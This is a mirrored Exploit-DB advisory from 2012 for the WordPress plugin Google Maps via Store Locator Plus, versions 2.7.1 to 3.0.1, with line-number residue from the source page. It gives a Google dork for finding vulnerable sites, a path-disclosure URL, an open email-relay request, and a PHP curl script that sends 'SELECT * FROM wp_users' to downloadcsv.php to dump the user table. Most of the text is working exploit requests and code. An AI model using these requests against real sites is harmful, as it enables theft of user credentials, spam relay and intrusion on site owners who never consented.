WordPress Plugin Google Maps via Store Locator 2.7.1 < 3.0.1 - Multiple Vulnerabilities - 体验盒子

作者： Sammy FORGIT

日期： 2012-06-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18989/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

##################################################

# Description : WordPress Plugins - Google Maps via Store Locator Plus

Multiple Vulnerability

# Version : 2.7.1 - 3.0.1

# Link : http://wordpress.org/extend/plugins/store-locator-le/

# Plugins : http://downloads.wordpress.org/plugin/store-locator-le.3.0.1.zip

# Date : 26-05-2012

# Google Dork : inurl:/wp-content/plugins/store-locator-le/

# Author : Sammy FORGIT - sam at opensyscom dot fr -

http://www.opensyscom.fr

##################################################

Exploit :

Information Disclosure : Path Website

http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/core/load_wp_config.php

Send Email :

http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/core/send-email.php?email_name=test&email_from=test@test.com&email_to=test@exemple.com&email_subject=test&email_message=test

Blind SQL Injection :

PostQuery.php

<?php

$ch =

curl_init("http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/downloadcsv.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('query'=>"SELECT * FROM wp_users",

'filename'=>'test',

'all'=>'true'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

?>